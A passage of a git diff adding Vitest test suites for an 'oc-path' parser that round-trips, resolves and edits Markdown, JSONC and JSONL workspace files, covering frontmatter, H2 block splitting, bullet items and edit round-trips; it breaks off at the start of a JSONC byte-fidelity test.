expect(a2.blocks.length).toBe(a1.blocks.length); + const a1Tools = a1.blocks.find((b) => b.slug === 'tools'); + const a2Tools = a2.blocks.find((b) => b.slug === 'tools'); + expect(a2Tools?.items.length).toBe(a1Tools?.items.length); + // KV value reflects the change. + const ghItem = a2Tools?.items.find((i) => i.kv?.key === 'gh'); + expect(ghItem?.kv?.value).toBe('GitHub command-line interface'); + }); + + it('CC-08 unknown OcPath returns null without affecting subsequent valid resolves', () => { + const { ast } = parseMd(SAMPLE); + expect(resolveOcPath(ast, { file: 'X.md', section: 'nonexistent' })).toBeNull(); + expect(resolveOcPath(ast, { file: 'X.md', section: 'tools' })?.kind).toBe('block'); + }); + + it('CC-09 resolve does not depend on file segment matching', () => { + const { ast } = parseMd(SAMPLE); + const a = resolveOcPath(ast, { file: 'A.md', section: 'tools' }); + const b = resolveOcPath(ast, { file: 'B.md', section: 'tools' }); + expect(a?.kind).toBe(b?.kind); + }); + + it('CC-10 round-trip across all 9 valid OcPath shapes', () => { + const { ast } = parseMd(SAMPLE); + const cases = [ + { file: 'X.md' }, + { file: 'X.md', section: 'tools' }, + { file: 'X.md', section: 'tools', item: 'gh' }, + { file: 'X.md', section: 'tools', item: 'gh', field: 'gh' }, + { file: 'X.md', section: '[frontmatter]', field: 'name' }, + { file: 'X.md', section: 'boundaries' }, + { file: 'X.md', section: 'boundaries', item: 'never-write-to-etc' }, + { file: 'X.md', section: 'boundaries', item: 'always-confirm' }, + { file: 'X.md', section: '[frontmatter]', field: 'description' }, + ]; + for (const path of cases) { + const m = resolveOcPath(ast, path); + expect(m, `failed for ${JSON.stringify(path)}`).not.toBeNull(); + } + }); +}); diff --git a/src/oc-path/tests/scenarios/cross-kind-properties.test.ts b/src/oc-path/tests/scenarios/cross-kind-properties.test.ts new file mode 100644 index 00000000000..e2622f4d6c0 --- /dev/null +++ b/src/oc-path/tests/scenarios/cross-kind-properties.test.ts @@ -0,0 +1,153 @@ +/** + * Wave 22 — cross-kind property invariants. + * + * Per-kind verbs hold the same shape contracts regardless of kind: + * + * 1. parse → emit (round-trip) is byte-stable for ALL kinds + * 2. resolve is non-mutating for ALL kinds + * 3. set returns structured failure (never throws) for unresolvable + * paths across ALL kinds + * 4. inferKind aligns with the parsers consumers actually pick + * 5. parse → emit → parse is fixpoint + * 6. hostile inputs do not throw at parse time + */ +import { describe, expect, it } from 'vitest'; +import { inferKind } from '../../dispatch.js'; +import { emitMd } from '../../emit.js'; +import { setMdOcPath } from '../../edit.js'; +import { resolveMdOcPath } from '../../resolve.js'; +import { emitJsonc } from '../../jsonc/emit.js'; +import { setJsoncOcPath } from '../../jsonc/edit.js'; +import { resolveJsoncOcPath } from '../../jsonc/resolve.js'; +import { parseJsonc } from '../../jsonc/parse.js'; +import { emitJsonl } from '../../jsonl/emit.js'; +import { setJsonlOcPath } from '../../jsonl/edit.js'; +import { resolveJsonlOcPath } from '../../jsonl/resolve.js'; +import { parseJsonl } from '../../jsonl/parse.js'; +import { parseOcPath } from '../../oc-path.js'; +import { parseMd } from '../../parse.js'; + +describe('wave-22 cross-kind property invariants', () => { + const mdRaw = '---\nname: x\n---\n\n## Boundaries\n\n- enabled: true\n'; + const jsoncRaw = '// h\n{ "k": 1, "n": [1,2,3] }\n'; + const jsonlRaw = '{"a":1}\n\nbroken\n{"b":2}\n'; + + it('P-01 round-trip parse → emit is byte-stable across all kinds', () => { + expect(emitMd(parseMd(mdRaw).ast)).toBe(mdRaw); + expect(emitJsonc(parseJsonc(jsoncRaw).ast)).toBe(jsoncRaw); + expect(emitJsonl(parseJsonl(jsonlRaw).ast)).toBe(jsonlRaw); + }); + + it('P-02 resolve is non-mutating across all kinds', () => { + const md = parseMd(mdRaw).ast; + let before = JSON.stringify(md); + resolveMdOcPath(md, parseOcPath('oc://X/[frontmatter]/name')); + resolveMdOcPath(md, parseOcPath('oc://X/boundaries')); + expect(JSON.stringify(md)).toBe(before); + + const jsonc = parseJsonc(jsoncRaw).ast; + before = JSON.stringify(jsonc); + resolveJsoncOcPath(jsonc, parseOcPath('oc://X/k')); + resolveJsoncOcPath(jsonc, parseOcPath('oc://X/n.0')); + expect(JSON.stringify(jsonc)).toBe(before); + + const jsonl = parseJsonl(jsonlRaw).ast; + before = JSON.stringify(jsonl); + resolveJsonlOcPath(jsonl, parseOcPath('oc://X/L1')); + resolveJsonlOcPath(jsonl, parseOcPath('oc://X/$last')); + expect(JSON.stringify(jsonl)).toBe(before); + }); + + it('P-03 unresolvable set never throws across all kinds', () => { + const ocPath = parseOcPath('oc://X/totally.missing.path'); + expect(() => + setMdOcPath(parseMd(mdRaw).ast, ocPath, 'x'), + ).not.toThrow(); + expect(() => + setJsoncOcPath(parseJsonc(jsoncRaw).ast, ocPath, { + kind: 'string', + value: 'x', + }), + ).not.toThrow(); + expect(() => + setJsonlOcPath(parseJsonl(jsonlRaw).ast, ocPath, { + kind: 'string', + value: 'x', + }), + ).not.toThrow(); + }); + + it('P-04 inferKind aligns with the parser actually used', () => { + expect(inferKind('AGENTS.md')).toBe('md'); + expect(inferKind('SOUL.md')).toBe('md'); + expect(inferKind('config.jsonc')).toBe('jsonc'); + expect(inferKind('plugins.json')).toBe('jsonc'); + expect(inferKind('events.jsonl')).toBe('jsonl'); + expect(inferKind('audit.ndjson')).toBe('jsonl'); + }); + + it('P-05 parse → emit → parse is fixpoint across all kinds', () => { + const md1 = emitMd(parseMd(mdRaw).ast); + const md2 = emitMd(parseMd(md1).ast); + expect(md1).toBe(md2); + + const jc1 = emitJsonc(parseJsonc(jsoncRaw).ast); + const jc2 = emitJsonc(parseJsonc(jc1).ast); + expect(jc1).toBe(jc2); + + const jl1 = emitJsonl(parseJsonl(jsonlRaw).ast); + const jl2 = emitJsonl(parseJsonl(jl1).ast); + expect(jl1).toBe(jl2); + }); + + it('P-06 hostile inputs do not throw at parse time across all kinds', () => { + const hostile = [ + '\x00\x01\x02 binary garbage', + '{ "unclosed":', + '## heading without anything', + '\n\n\n\n\n', + ]; + for (const raw of hostile) { + expect(() => parseMd(raw)).not.toThrow(); + expect(() => parseJsonc(raw)).not.toThrow(); + expect(() => parseJsonl(raw)).not.toThrow(); + } + }); + + it('P-07 resolver returns null for paths past valid kinds (no throw)', () => { + const overlong = parseOcPath('oc://X/a/b/c.d.e.f.g.h'); + expect(() => resolveMdOcPath(parseMd(mdRaw).ast, overlong)).not.toThrow(); + expect(() => resolveJsoncOcPath(parseJsonc(jsoncRaw).ast, overlong)).not.toThrow(); + expect(() => resolveJsonlOcPath(parseJsonl(jsonlRaw).ast, overlong)).not.toThrow(); + }); + + it('P-08 set-then-resolve produces the value just written (jsonc)', () => { + const ast = parseJsonc('{ "k": 1 }').ast; + const r = setJsoncOcPath(ast, parseOcPath('oc://X/k'), { + kind: 'number', + value: 42, + }); + if (r.ok) { + const m = resolveJsoncOcPath(r.ast, parseOcPath('oc://X/k')); + if (m?.kind === 'object-entry') { + expect(m.node.value).toEqual({ kind: 'number', value: 42 }); + } + } + }); + + it('P-09 verbs are deterministic — same input twice produces same output', () => { + expect(emitMd(parseMd(mdRaw).ast)).toBe(emitMd(parseMd(mdRaw).ast)); + expect(emitJsonc(parseJsonc(jsoncRaw).ast)).toBe( + emitJsonc(parseJsonc(jsoncRaw).ast), + ); + expect(emitJsonl(parseJsonl(jsonlRaw).ast)).toBe( + emitJsonl(parseJsonl(jsonlRaw).ast), + ); + }); + + it('P-10 inferKind returns null for unknown extensions', () => { + expect(inferKind('binary.bin')).toBeNull(); + expect(inferKind('no-ext')).toBeNull(); + expect(inferKind('archive.tar.gz')).toBeNull(); + }); +}); diff --git a/src/oc-path/tests/scenarios/edit-emit-roundtrip.test.ts b/src/oc-path/tests/scenarios/edit-emit-roundtrip.test.ts new file mode 100644 index 00000000000..776fa74ec8e --- /dev/null +++ b/src/oc-path/tests/scenarios/edit-emit-roundtrip.test.ts @@ -0,0 +1,161 @@ +/** + * Wave 19 — edit → emit round-trip across all kinds. + * + * Substrate guarantee: parse → setXxxOcPath → emitXxx produces valid + * bytes that re-parse to an AST whose addressed value reflects the edit. + * Per-kind verbs throughout — caller picks based on AST type. + */ +import { describe, expect, it } from 'vitest'; +import { emitMd } from '../../emit.js'; +import { setMdOcPath } from '../../edit.js'; +import { emitJsonc } from '../../jsonc/emit.js'; +import { setJsoncOcPath } from '../../jsonc/edit.js'; +import { parseJsonc } from '../../jsonc/parse.js'; +import { emitJsonl } from '../../jsonl/emit.js'; +import { setJsonlOcPath } from '../../jsonl/edit.js'; +import { parseJsonl } from '../../jsonl/parse.js'; +import { parseOcPath } from '../../oc-path.js'; +import { parseMd } from '../../parse.js'; + +describe('wave-19 edit-then-emit round-trip', () => { + it('EE-01 md frontmatter edit re-parses to the new value', () => { + const md = parseMd('---\nname: old\n---\n\n## Body\n').ast; + const r = setMdOcPath(md, parseOcPath('oc://AGENTS.md/[frontmatter]/name'), 'new'); + expect(r.ok).toBe(true); + if (r.ok) { + const reparsed = parseMd(r.ast.raw).ast; + expect(reparsed.frontmatter.find((e) => e.key === 'name')?.value).toBe('new'); + } + }); + + it('EE-02 md item kv edit re-parses to the new value', () => { + const md = parseMd('## Boundaries\n\n- timeout: 5\n').ast; + const r = setMdOcPath( + md, + parseOcPath('oc://AGENTS.md/boundaries/timeout/timeout'), + '60', + ); + expect(r.ok).toBe(true); + if (r.ok) { + const reparsed = parseMd(emitMd(r.ast)).ast; + const block = reparsed.blocks.find((b) => b.slug === 'boundaries'); + expect(block?.items[0]?.kv?.value).toBe('60'); + } + }); + + it('EE-03 jsonc value edit re-parses to the new value', () => { + const ast = parseJsonc('{ "k": 1 }').ast; + const r = setJsoncOcPath(ast, parseOcPath('oc://config/k'), { + kind: 'number', + value: 42, + }); + expect(r.ok).toBe(true); + if (r.ok) { + expect(JSON.parse(emitJsonc(r.ast))).toEqual({ k: 42 }); + } + }); + + it('EE-04 jsonc nested edit preserves untouched siblings', () => { + const ast = parseJsonc('{ "a": 1, "b": { "c": 2, "d": 3 }, "e": 4 }').ast; + const r = setJsoncOcPath(ast, parseOcPath('oc://config/b.c'), { + kind: 'number', + value: 99, + }); + if (r.ok) { + expect(JSON.parse(emitJsonc(r.ast))).toEqual({ + a: 1, + b: { c: 99, d: 3 }, + e: 4, + }); + } + }); + + it('EE-05 jsonl line edit re-parses to the new value at the same line', () => { + const ast = parseJsonl('{"a":1}\n{"a":2}\n{"a":3}\n').ast; + const r = setJsonlOcPath(ast, parseOcPath('oc://log/L2/a'), { + kind: 'number', + value: 99, + }); + if (r.ok) { + const reparsed = parseJsonl(emitJsonl(r.ast)).ast; + const line2 = reparsed.lines[1]; + expect(line2?.kind).toBe('value'); + if (line2?.kind === 'value' && line2.value.kind === 'object') { + const entry = line2.value.entries.find((e) => e.key === 'a'); + expect(entry?.value).toMatchObject({ kind: 'number', value: 99 }); + } + } + }); + + it('EE-06 jsonc edit composes: two sequential edits both land', () => { + let ast = parseJsonc('{ "a": 1, "b": 2 }').ast; + let r = setJsoncOcPath(ast, parseOcPath('oc://config/a'), { + kind: 'number', + value: 10, + }); + if (r.ok) {ast = r.ast;} + r = setJsoncOcPath(ast, parseOcPath('oc://config/b'), { + kind: 'number', + value: 20, + }); + if (r.ok) {ast = r.ast;} + expect(JSON.parse(emitJsonc(ast))).toEqual({ a: 10, b: 20 }); + }); + + it('EE-07 missing path returns structured failure (not throw)', () => { + const ast = parseJsonc('{ "a": 1 }').ast; + const r = setJsoncOcPath(ast, parseOcPath('oc://config/missing'), { + kind: 'number', + value: 99, + }); + expect(r.ok).toBe(false); + if (!r.ok) {expect(r.reason).toBe('unresolved');} + }); + + it('EE-08 each per-kind verb takes its own AST type — no cross-kind leakage', () => { + // Type-level guarantee: each setter only accepts its kind's AST. + // Caller picks based on the AST they have. This is the design. + const md = parseMd('---\nx: 1\n---\n').ast; + const jsonc = parseJsonc('{"x":1}').ast; + const jsonl = parseJsonl('{"x":1}\n').ast; + + const a = setMdOcPath(md, parseOcPath('oc://X/[frontmatter]/x'), '2'); + const b = setJsoncOcPath(jsonc, parseOcPath('oc://X/x'), { + kind: 'number', + value: 2, + }); + const c = setJsonlOcPath(jsonl, parseOcPath('oc://X/L1/x'), { + kind: 'number', + value: 2, + }); + + expect(a.ok).toBe(true); + expect(b.ok).toBe(true); + expect(c.ok).toBe(true); + }); + + it('EE-09 byte-fidelity is broken after edit (expected — render mode applies)', () => { + const raw = '{\n "k": 1 // comment\n}\n'; + const ast = parseJsonc(raw).ast; + const r = setJsoncOcPath(ast, parseOcPath('oc://config/k'), { + kind: 'number', + value: 2, + }); + if (r.ok) { + // Comment is lost — expected. Caller's responsibility to know. + expect(emitJsonc(r.ast)).not.toContain('// comment'); + // But the value IS the new one. + expect(JSON.parse(emitJsonc(r.ast))).toEqual({ k: 2 }); + } + }); + + it('EE-10 edit on empty AST surfaces no-root', () => { + const ast = parseJsonc('').ast; + const r = setJsoncOcPath(ast, parseOcPath('oc://config/x'), { + kind: 'number', + value: 1, + }); + expect(r.ok).toBe(false); + if (!r.ok) {expect(r.reason).toBe('no-root');} + }); +}); diff --git a/src/oc-path/tests/scenarios/frontmatter-edges.test.ts b/src/oc-path/tests/scenarios/frontmatter-edges.test.ts new file mode 100644 index 00000000000..fb085e8b052 --- /dev/null +++ b/src/oc-path/tests/scenarios/frontmatter-edges.test.ts @@ -0,0 +1,140 @@ +/** + * Wave 2 — frontmatter edges. + * + * Substrate guarantee: frontmatter is parsed as `key: value` entries + * with quote-stripping; malformed frontmatter doesn't crash the parser + * (soft-error policy: emit diagnostic, recover). + */ +import { describe, expect, it } from 'vitest'; +import { parseMd } from '../../parse.js'; + +describe('wave-02 frontmatter-edges', () => { + it('FM-01 simple kv pairs', () => { + const { ast } = parseMd('---\nname: x\ndescription: y\n---\n'); + expect(ast.frontmatter.map((e) => [e.key, e.value])).toEqual([ + ['name', 'x'], + ['description', 'y'], + ]); + }); + + it('FM-02 unclosed frontmatter emits diagnostic, treats as preamble', () => { + const { ast, diagnostics } = parseMd('---\nname: x\nno close fence\nbody\n'); + expect(diagnostics.some((d) => d.code === 'OC_FRONTMATTER_UNCLOSED')).toBe(true); + expect(ast.frontmatter).toEqual([]); + }); + + it('FM-03 empty frontmatter (just open + close)', () => { + const { ast } = parseMd('---\n---\n'); + expect(ast.frontmatter).toEqual([]); + }); + + it('FM-04 frontmatter only, file has no other content', () => { + const { ast } = parseMd('---\nk: v\n---\n'); + expect(ast.frontmatter).toEqual([{ key: 'k', value: 'v', line: 2 }]); + expect(ast.preamble).toBe(''); + expect(ast.blocks).toEqual([]); + }); + + it('FM-05 double-quoted value', () => { + const { ast } = parseMd('---\ntitle: "Hello, world"\n---\n'); + expect(ast.frontmatter[0]?.value).toBe('Hello, world'); + }); + + it('FM-06 single-quoted value', () => { + const { ast } = parseMd("---\ntitle: 'Hello, world'\n---\n"); + expect(ast.frontmatter[0]?.value).toBe('Hello, world'); + }); + + it('FM-07 unquoted value with internal colons preserved', () => { + const { ast } = parseMd('---\nurl: https://example.com:443/p\n---\n'); + expect(ast.frontmatter[0]?.value).toBe('https://example.com:443/p'); + }); + + it('FM-08 empty value', () => { + const { ast } = parseMd('---\nk:\n---\n'); + expect(ast.frontmatter[0]).toEqual({ key: 'k', value: '', line: 2 }); + }); + + it('FM-09 value with leading/trailing whitespace trimmed', () => { + const { ast } = parseMd('---\nk: spaced \n---\n'); + expect(ast.frontmatter[0]?.value).toBe('spaced'); + }); + + it('FM-10 list-style continuations are silently dropped (substrate stays opinion-free)', () => { + const { ast } = parseMd('---\ntools:\n - gh\n - curl\n---\n'); + // The `tools:` key has an empty inline value; the list continuation + // lines ` - gh` and ` - curl` don't match the kv regex and are + // skipped. Lint rules can do their own structural reading of + // frontmatter; the substrate does not. + expect(ast.frontmatter.map((e) => e.key)).toEqual(['tools']); + expect(ast.frontmatter[0]?.value).toBe(''); + }); + + it('FM-11 line numbers are 1-based and accurate', () => { + const { ast } = parseMd('---\nk1: v1\nk2: v2\nk3: v3\n---\n'); + expect(ast.frontmatter.map((e) => [e.key, e.line])).toEqual([ + ['k1', 2], + ['k2', 3], + ['k3', 4], + ]); + }); + + it('FM-12 dash-key allowed', () => { + const { ast } = parseMd('---\nuser-invocable: true\n---\n'); + expect(ast.frontmatter[0]?.key).toBe('user-invocable'); + }); + + it('FM-13 underscore-key allowed', () => { + const { ast } = parseMd('---\nparam_set: foo\n---\n'); + expect(ast.frontmatter[0]?.key).toBe('param_set'); + }); + + it('FM-14 number-only value preserved as string', () => { + const { ast } = parseMd('---\ntimeout: 15000\n---\n'); + expect(ast.frontmatter[0]?.value).toBe('15000'); + }); + + it('FM-15 boolean-like value preserved as string', () => { + const { ast } = parseMd('---\nenabled: true\n---\n'); + expect(ast.frontmatter[0]?.value).toBe('true'); + }); + + it('FM-16 blank lines inside frontmatter are skipped', () => { + const { ast } = parseMd('---\n\nk1: v1\n\nk2: v2\n\n---\n'); + expect(ast.frontmatter.map((e) => e.key)).toEqual(['k1', 'k2']); + }); + + it('FM-17 frontmatter with same key twice — both retained (no dedup)', () => { + // Substrate doesn't dedup; lint rules can flag duplicates if needed. + const { ast } = parseMd('---\nk: v1\nk: v2\n---\n'); + expect(ast.frontmatter).toEqual([ + { key: 'k', value: 'v1', line: 2 }, + { key: 'k', value: 'v2', line: 3 }, + ]); + }); + + it('FM-18 frontmatter must be at start — leading blank line breaks detection', () => { + const { ast } = parseMd('\n---\nk: v\n---\n'); + expect(ast.frontmatter).toEqual([]); + }); + + it('FM-19 frontmatter must be at start — leading text breaks detection', () => { + const { ast } = parseMd('intro\n\n---\nk: v\n---\n'); + expect(ast.frontmatter).toEqual([]); + }); + + it('FM-20 BOM before frontmatter open is tolerated', () => { + const { ast } = parseMd('---\nname: bom\n---\n'); + expect(ast.frontmatter[0]?.value).toBe('bom'); + }); + + it('FM-21 single-line file with `---` and `---` is empty frontmatter', () => { + const { ast } = parseMd('---\n---'); + expect(ast.frontmatter).toEqual([]); + }); + + it('FM-22 hash-prefixed lines skipped (not yaml comments — just don\'t match kv regex)', () => { + const { ast } = parseMd('---\n# comment\nk: v\n---\n'); + expect(ast.frontmatter.map((e) => e.key)).toEqual(['k']); + }); +}); diff --git a/src/oc-path/tests/scenarios/h2-block-split.test.ts b/src/oc-path/tests/scenarios/h2-block-split.test.ts new file mode 100644 index 00000000000..d41ae57e478 --- /dev/null +++ b/src/oc-path/tests/scenarios/h2-block-split.test.ts @@ -0,0 +1,149 @@ +/** + * Wave 3 — H2 block split. + * + * Substrate guarantee: `## ` at column 0 outside fenced code blocks + * starts a new H2 block. H1 (`# `), H3 (`### `), and `## ` inside + * fenced code blocks do NOT split. + */ +import { describe, expect, it } from 'vitest'; +import { parseMd } from '../../parse.js'; + +describe('wave-03 h2-block-split', () => { + it('H2-01 no headings → no blocks, all preamble', () => { + const raw = 'Just prose, no headings.\nMore prose.\n'; + const { ast } = parseMd(raw); + expect(ast.blocks).toEqual([]); + // Preamble preserves the trailing newline from raw (split + rejoin + // is symmetric); callers that want trimmed prose call .trim(). + expect(ast.preamble).toBe('Just prose, no headings.\nMore prose.\n'); + }); + + it('H2-02 single heading splits preamble + one block', () => { + const { ast } = parseMd('preamble\n## Section\nbody\n'); + expect(ast.preamble.trim()).toBe('preamble'); + expect(ast.blocks.length).toBe(1); + expect(ast.blocks[0]?.heading).toBe('Section'); + expect(ast.blocks[0]?.bodyText.trim()).toBe('body'); + }); + + it('H2-03 multiple headings produce blocks in order', () => { + const { ast } = parseMd('## A\nbody-a\n## B\nbody-b\n## C\nbody-c\n'); + expect(ast.blocks.map((b) => b.heading)).toEqual(['A', 'B', 'C']); + }); + + it('H2-04 H1 does NOT split', () => { + const { ast } = parseMd('# H1 heading\n## H2 heading\n'); + expect(ast.blocks.length).toBe(1); + expect(ast.blocks[0]?.heading).toBe('H2 heading'); + expect(ast.preamble).toContain('# H1 heading'); + }); + + it('H2-05 H3 does NOT split', () => { + const { ast } = parseMd('## H2\nbody\n### H3\nstill in H2 block\n'); + expect(ast.blocks.length).toBe(1); + expect(ast.blocks[0]?.bodyText).toContain('### H3'); + }); + + it('H2-06 `## ` inside fenced code block does NOT split', () => { + const raw = '## Real\n\n```md\n## Inside code\n```\n\n## Another real\n'; + const { ast } = parseMd(raw); + expect(ast.blocks.map((b) => b.heading)).toEqual(['Real', 'Another real']); + }); + + it('H2-07 `##` without trailing space — does NOT match (regex requires \\s+)', () => { + const { ast } = parseMd('##NoSpace\n## With space\n'); + expect(ast.blocks.length).toBe(1); + expect(ast.blocks[0]?.heading).toBe('With space'); + }); + + it('H2-08 leading whitespace before `##` — does NOT match (regex anchored at line start)', () => { + const { ast } = parseMd(' ## indented\n## not indented\n'); + expect(ast.blocks.length).toBe(1); + expect(ast.blocks[0]?.heading).toBe('not indented'); + }); + + it('H2-09 trailing whitespace on heading — trimmed in heading text', () => { + const { ast } = parseMd('## Trailing \n'); + expect(ast.blocks[0]?.heading).toBe('Trailing'); + expect(ast.blocks[0]?.slug).toBe('trailing'); + }); + + it('H2-10 inline code in heading preserved', () => { + const { ast } = parseMd('## Use `gh` for GitHub\n'); + expect(ast.blocks[0]?.heading).toBe('Use `gh` for GitHub'); + }); + + it('H2-11 markdown formatting in heading preserved', () => { + const { ast } = parseMd('## **Bold** *italic*\n'); + expect(ast.blocks[0]?.heading).toBe('**Bold** *italic*'); + }); + + it('H2-12 immediately after frontmatter', () => { + const { ast } = parseMd('---\nk: v\n---\n## Section\nbody\n'); + expect(ast.blocks[0]?.heading).toBe('Section'); + expect(ast.preamble).toBe(''); + }); + + it('H2-13 H2 at end of file (no body)', () => { + const { ast } = parseMd('preamble\n## End\n'); + expect(ast.blocks[0]?.heading).toBe('End'); + expect(ast.blocks[0]?.bodyText).toBe(''); + }); + + it('H2-14 two consecutive H2s — empty body block between', () => { + const { ast } = parseMd('## A\n## B\n'); + expect(ast.blocks[0]?.bodyText).toBe(''); + expect(ast.blocks[1]?.heading).toBe('B'); + }); + + it('H2-15 line numbers are 1-based and track through frontmatter', () => { + const { ast } = parseMd('---\nk: v\n---\n## At line 4\n'); + expect(ast.blocks[0]?.line).toBe(4); + }); + + it('H2-16 line numbers track through preamble', () => { + const { ast } = parseMd('line 1\nline 2\n## At line 3\n'); + expect(ast.blocks[0]?.line).toBe(3); + }); + + it('H2-17 nested fenced code blocks (~~~ vs ```) — only ``` is detected', () => { + // Current parser only treats ``` as fence; ~~~ falls through. This + // is a documented limit. Inputs with ~~~ aren't broken — they're + // just not protected from H2-misparsing inside them. + const raw = '## H\n\n~~~md\n~~~\n\n## Next\n'; + const { ast } = parseMd(raw); + expect(ast.blocks.map((b) => b.heading)).toEqual(['H', 'Next']); + }); + + it('H2-18 setext-style heading (`Heading\\n========\\n`) is NOT recognized', () => { + // Substrate is opinion-aware: setext headings are treated as + // preamble. Lint rules can flag if needed; recognized markdown + // dialect is `## ATX-style only` for OpenClaw workspace files. + const raw = 'Heading\n=======\n## Real\n'; + const { ast } = parseMd(raw); + expect(ast.blocks.length).toBe(1); + expect(ast.blocks[0]?.heading).toBe('Real'); + }); + + it('H2-19 empty heading text (`## `)', () => { + const { ast } = parseMd('## \n'); + // Empty heading is technically a valid match (`## ` + empty text) + // but the regex requires `(.+?)` so empty doesn't match. Validates + // it's NOT split. + expect(ast.blocks).toEqual([]); + }); + + it('H2-20 heading with only whitespace (`## `)', () => { + const { ast } = parseMd('## \n'); + expect(ast.blocks).toEqual([]); + }); + + it('H2-21 heading-shaped text inside multi-line bullet body — does split', () => { + // The substrate treats line-start ## as a heading regardless of + // logical context (item continuation lines). Lint rules can flag + // the boundary; substrate prefers structural simplicity. + const raw = '## Section\n- item starts\n continues\n## Next\n'; + const { ast } = parseMd(raw); + expect(ast.blocks.map((b) => b.heading)).toEqual(['Section', 'Next']); + }); +}); diff --git a/src/oc-path/tests/scenarios/items.test.ts b/src/oc-path/tests/scenarios/items.test.ts new file mode 100644 index 00000000000..dfdb66504f2 --- /dev/null +++ b/src/oc-path/tests/scenarios/items.test.ts @@ -0,0 +1,146 @@ +/** + * Wave 4 — items (bullets + kv). + * + * Substrate guarantee: bullet lines (`- text`, `* text`, `+ text`) inside + * H2 blocks are extracted as `AstItem`. Lines matching `- key: value` + * also populate `item.kv`. Items inside fenced code blocks are NOT + * extracted. + */ +import { describe, expect, it } from 'vitest'; +import { parseMd } from '../../parse.js'; + +describe('wave-04 items', () => { + it('I-01 plain dash bullets', () => { + const { ast } = parseMd('## H\n- a\n- b\n- c\n'); + expect(ast.blocks[0]?.items.map((i) => i.text)).toEqual(['a', 'b', 'c']); + }); + + it('I-02 star bullets', () => { + const { ast } = parseMd('## H\n* a\n* b\n'); + expect(ast.blocks[0]?.items.map((i) => i.text)).toEqual(['a', 'b']); + }); + + it('I-03 plus bullets', () => { + const { ast } = parseMd('## H\n+ a\n+ b\n'); + expect(ast.blocks[0]?.items.map((i) => i.text)).toEqual(['a', 'b']); + }); + + it('I-04 mixed bullet markers in same section', () => { + const { ast } = parseMd('## H\n- dash\n* star\n+ plus\n'); + expect(ast.blocks[0]?.items.length).toBe(3); + }); + + it('I-05 kv-shape items populate kv', () => { + const { ast } = parseMd('## H\n- gh: GitHub CLI\n'); + expect(ast.blocks[0]?.items[0]?.kv).toEqual({ key: 'gh', value: 'GitHub CLI' }); + }); + + it('I-06 plain item has no kv', () => { + const { ast } = parseMd('## H\n- plain text\n'); + expect(ast.blocks[0]?.items[0]?.kv).toBeUndefined(); + }); + + it('I-07 multiple colons — first colon is the kv split', () => { + const { ast } = parseMd('## H\n- url: http://x.com:80/p\n'); + expect(ast.blocks[0]?.items[0]?.kv).toEqual({ + key: 'url', + value: 'http://x.com:80/p', + }); + }); + + it('I-08 colon with no space after is still kv', () => { + const { ast } = parseMd('## H\n- key:value\n'); + expect(ast.blocks[0]?.items[0]?.kv).toEqual({ key: 'key', value: 'value' }); + }); + + it('I-09 quoted value preserved verbatim (no unquote at item layer)', () => { + const { ast } = parseMd('## H\n- title: "quoted: value"\n'); + expect(ast.blocks[0]?.items[0]?.kv?.value).toBe('"quoted: value"'); + }); + + it('I-10 slug from kv key when kv present', () => { + const { ast } = parseMd('## H\n- The Tool: description\n'); + expect(ast.blocks[0]?.items[0]?.slug).toBe('the-tool'); + }); + + it('I-11 slug from item text when no kv', () => { + const { ast } = parseMd('## H\n- The Plain Item\n'); + expect(ast.blocks[0]?.items[0]?.slug).toBe('the-plain-item'); + }); + + it('I-12 items inside fenced code block are NOT extracted', () => { + const raw = '## H\n```\n- not a bullet\n- still not\n```\n- real bullet\n'; + const { ast } = parseMd(raw); + expect(ast.blocks[0]?.items.length).toBe(1); + expect(ast.blocks[0]?.items[0]?.text).toBe('real bullet'); + }); + + it('I-13 line numbers track through block body', () => { + const { ast } = parseMd('## H\n- first\n- second\n- third\n'); + expect(ast.blocks[0]?.items.map((i) => i.line)).toEqual([2, 3, 4]); + }); + + it('I-14 trailing whitespace on bullet trimmed in text', () => { + const { ast } = parseMd('## H\n- spaced \n'); + expect(ast.blocks[0]?.items[0]?.text).toBe('spaced'); + }); + + it('I-15 empty bullet text is dropped', () => { + const { ast } = parseMd('## H\n- \n- real\n'); + // The regex requires (.+?) non-empty, so `- ` alone doesn't match. + expect(ast.blocks[0]?.items.length).toBe(1); + }); + + it('I-16 indented bullet (sub-bullet) — current parser still picks up', () => { + // The current regex `^(?:[-*+])\\s+(.+?)\\s*$` requires column-0 + // bullet markers; indented bullets do NOT match. Documented as a + // limit — sub-bullets surface in body text but not in items. + const { ast } = parseMd('## H\n- top\n - sub\n'); + expect(ast.blocks[0]?.items.map((i) => i.text)).toEqual(['top']); + }); + + it('I-17 numbered list (1. item) is NOT extracted as item', () => { + const { ast } = parseMd('## H\n1. first\n2. second\n'); + expect(ast.blocks[0]?.items).toEqual([]); + }); + + it('I-18 items in a section with no body before — first item line is heading+1', () => { + const { ast } = parseMd('## H\n- a\n'); + expect(ast.blocks[0]?.items[0]?.line).toBe(2); + }); + + it('I-19 items spread across blocks are scoped to their block', () => { + const { ast } = parseMd('## A\n- a1\n## B\n- b1\n- b2\n'); + expect(ast.blocks[0]?.items.length).toBe(1); + expect(ast.blocks[1]?.items.length).toBe(2); + expect(ast.blocks[1]?.items.map((i) => i.text)).toEqual(['b1', 'b2']); + }); + + it('I-20 item with only-symbol kv key still parses', () => { + const { ast } = parseMd('## H\n- API_KEY: secret-value\n'); + expect(ast.blocks[0]?.items[0]?.kv).toEqual({ + key: 'API_KEY', + value: 'secret-value', + }); + expect(ast.blocks[0]?.items[0]?.slug).toBe('api-key'); + }); + + it('I-21 item with kv where value is empty', () => { + const { ast } = parseMd('## H\n- key:\n'); + // `- key:` has empty value after the colon; the kv regex requires + // (.+) for value, so this falls through to plain item. + expect(ast.blocks[0]?.items[0]?.kv).toBeUndefined(); + expect(ast.blocks[0]?.items[0]?.text).toBe('key:'); + }); + + it('I-22 bullet in preamble (before first H2) is NOT in any block', () => { + const { ast } = parseMd('- preamble bullet\n## H\n- block bullet\n'); + expect(ast.blocks[0]?.items.map((i) => i.text)).toEqual(['block bullet']); + expect(ast.preamble).toContain('- preamble bullet'); + }); + + it('I-23 bullet with internal markdown (italics, code) preserved in text', () => { + const { ast } = parseMd('## H\n- use *gh* and `curl`\n'); + expect(ast.blocks[0]?.items[0]?.text).toBe('use *gh* and `curl`'); + }); +}); diff --git a/src/oc-path/tests/scenarios/jsonc-byte-fidelity.test.ts b/src/oc-path/tests/scenarios/jsonc-byte-fidelity.test.ts new file mode 100644 index 00000000000..36229ee290e --- /dev/null +++ b/src/oc-path/tests/scenarios/jsonc-byte-fidelity.test.ts @@ -0,0 +1,188 @@ +/** + * Wave 15 — JSONC 